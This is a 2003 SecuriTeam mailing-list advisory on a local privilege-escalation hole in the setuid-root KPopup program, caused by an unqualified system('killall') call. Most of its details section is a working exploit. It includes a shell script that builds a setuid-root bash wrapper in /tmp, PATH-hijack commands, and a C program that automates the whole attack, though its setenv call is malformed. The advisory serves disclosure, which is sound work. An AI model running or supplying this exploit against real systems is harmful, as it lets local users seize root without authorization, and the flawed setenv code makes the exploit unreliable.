[UNIX] KPopup Allows Gaining of Elevated Privileges (Insecure system())

From: SecuriTeam (support_at_securiteam.com)
Date: 10/29/03

  • Next message: SecuriTeam: "[NT] Fastream NETFile FTP/WebServer CSS Vulnerability"
    To: list@securiteam.com
    Date: 29 Oct 2003 15:31:04 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      KPopup Allows Gaining of Elevated Privileges (Insecure system())
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.henschelsoft.de/kpopup_en.html> KPopup is "a KDE program for
    sending and receiving MS Windows WinPopup messages. When package is
    compiled and install the binary KPopup is installed setuid root it also
    comes as part of FreeBSD ports collection". A vulnerability in the KPopup
    allows local users to gain elevated privileges.

    DETAILS

    This application uses the system() call that is considered to be unsafe,
    especially on a setuid root binaries. It also contains Format string bugs
    in the sprintf() function. However, in this advisory b0f will explain how
    to obtain root privileges from this application by exploiting system().
    There is 3 places on the misc.cpp source that use system(). The one we use
    to exploit this is on line 106.

    void sendSignalForNewMessage() {
     char command[50];
     sprintf(command, "killall -USR1 kpopup");

     system(command);
    }

    To exploit this we need to do is make a shell script and call it killall,
    and place it in the /tmp directory. Here is a script that b0f wrote to
    exploit the vulnerability:
    #!/bin/sh
    cd /tmp
    /bin/cat > shell.c << EOF
    #include <stdio.h>
    int main()
    {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "-bash", NULL);
    return 0;
    }
    EOF

    /usr/bin/gcc /tmp/shell.c -o /tmp/shell
    /bin/chown root.root shell
    /bin/chmod 6711 shell
    echo "NOW HERE IS YOUR ROOT SHELL"
    /tmp/shell

    After you have created the file, place it in /tmp as killall and chmod +x
    it. Now what we need to do is:
    export PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin
    export
    PATH=$PATH:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:

    Once this is done, all we need to do is run the binary like so:
    /usr/local/kde/bin/kpopup root shell

    In addition, that is it we now have root privileges.

    Exploit:
    /*Local root exploit for kpopup
     *by b0f www.b0f.net
     */
    #include <stdio.h>
    int main()
    {
    setenv("PATH=/tmp:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:\
    /usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:");
    FILE *fd;
    fd = fopen("/tmp/killall", "w");{
    fprintf(fd, "#!/bin/sh\n");
    fprintf(fd, "cd /tmp\n");
    fprintf(fd, "/bin/cat > shell.c << EOF\n");
    fprintf(fd, "#include <stdio.h>\n");
    fprintf(fd, "int main()\n");
    fprintf(fd, "{\n");
    fprintf(fd, "setuid(0);\n");
    fprintf(fd, "setgid(0);\n");
    fprintf(fd, "execl(\"/bin/bash\", \"-bash\", NULL);\n");
    fprintf(fd, "return 0;\n");
    fprintf(fd, "}\n");
    fprintf(fd, "EOF\n");
    fprintf(fd, "/usr/bin/gcc /tmp/shell.c -o /tmp/shell\n");
    fprintf(fd, "/bin/chown root.root /tmp/shell\n");
    fprintf(fd, "/bin/chmod 6711 /tmp/shell\n");
    fprintf(fd, "echo NOW HERE IS YOUR ROOT SHELL\n");
    fprintf(fd, "/tmp/shell\n");
    fclose(fd);
    system("chmod +x /tmp/killall");
    system("/usr/local/kde/bin/kpopup root shell");
    return 0;
    }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:b0fnet@yahoo.com> b0f
    www.b0f.net.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Fastream NETFile FTP/WebServer CSS Vulnerability"

    Relevant Pages